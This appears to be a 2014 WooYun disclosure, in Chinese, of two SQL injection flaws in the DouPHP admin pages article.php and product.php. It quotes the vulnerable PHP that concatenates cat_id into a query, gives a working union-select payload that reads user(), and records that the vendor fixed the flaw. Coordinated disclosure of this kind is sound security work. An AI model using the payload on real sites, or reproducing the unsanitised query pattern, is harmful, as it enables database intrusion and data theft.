当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-077675

漏洞标题:DouPHP SQL注入两处- -

相关厂商:douco.com

漏洞作者: xiaoL

提交时间:2014-09-28 18:29

修复时间:2014-12-27 18:30

公开时间:2014-12-27 18:30

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:15

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-09-28: 细节已通知厂商并且等待厂商处理中
2014-09-30: 厂商已经确认,细节仅向厂商公开
2014-10-03: 细节向第三方安全合作伙伴开放
2014-11-24: 细节向核心白帽子及相关领域专家公开
2014-12-04: 细节向普通白帽子公开
2014-12-14: 细节向实习白帽子公开
2014-12-27: 细节向公众公开

简要描述:

DouPHP 功能简单,因此防御起来比较容易,使用全局过滤很好的避免了问题,不过还是存在不严谨的地方。
挖洞不易啊- -

详细说明:

在文件\www\admin\article.php中:

/**
* +----------------------------------------------------------
* 文章列表
* +----------------------------------------------------------
*/
if ($rec == 'default') {
$smarty->assign('ur_here', $_LANG['article']);
$smarty->assign('action_link', array (
'text' => $_LANG['article_add'],
'href' => 'article.php?rec=add'
));

// 验证并获取合法的分类ID
$cat_id = $check->is_number($_REQUEST['cat_id']) ? $_REQUEST['cat_id'] : (isset($_POST['cat_id']) ? $_POST['cat_id'] : ''); //这里的逻辑好像有点奇怪,判断了是否是数字,后一步直接带入了$_POST的数据

$keyword = isset($_POST['keyword']) ? trim($_POST['keyword']) : '';

if ($cat_id) {
$child_id = $dou->dou_child_id($dou->fetch_array_all('article_category'), $cat_id);
$where = " cat_id IN (" . $cat_id . $child_id . ") "; //存在就拼接了,而且这里是数字类型输入,所以无视了firewall文件的全局过滤。
}
if ($cat_id && $keyword)
$where .= 'AND';
if ($keyword)
$where .= " title LIKE '%$keyword%' ";

$where = $where ? ' WHERE' . $where : '';

// 验证并获取合法的分页ID
$page = $check->is_number($_REQUEST['page']) ? $_REQUEST['page'] : 1;
$limit = $dou->pager('article', 15, $page, $cat_id);

$sql = "SELECT id, title, cat_id, image, add_time FROM " . $dou->table('article') . $where . "ORDER BY id DESC" . $limit; //这里带入了语句查询
$query = $dou->query($sql); //这里!!!!!执行了
while ($row = $dou->fetch_array($query)) {
$cat_name = $dou->get_one("SELECT cat_name FROM " . $dou->table('article_category') . " WHERE cat_id = '$row[cat_id]'");
$add_time = date("Y-m-d", $row['add_time']);

$article_list[] = array (
"id" => $row['id'],
"cat_id" => $row['cat_id'],
"cat_name" => $cat_name,
"title" => $row['title'],
"image" => $row['image'],
"add_time" => $add_time
);
}


在www\admin\product.php文件中同样存在问题,由于代码类似就不贴了。

漏洞证明:

由于这两个地方都属于完全未过滤,且存在显示位。注入很容易。
post提交:
cat_id=2) union all select 1,user(),3,4,5-- 1

4444.png


55555.png

修复方案:

判断数字

版权声明:转载请注明来源 xiaoL@乌云


漏洞回应

厂商回应:

危害等级:低

漏洞Rank:3

确认时间:2014-09-30 10:14

厂商回复:

已经修正,十分感谢

最新状态:

2014-09-30:已经修复

2014-09-30:已经修复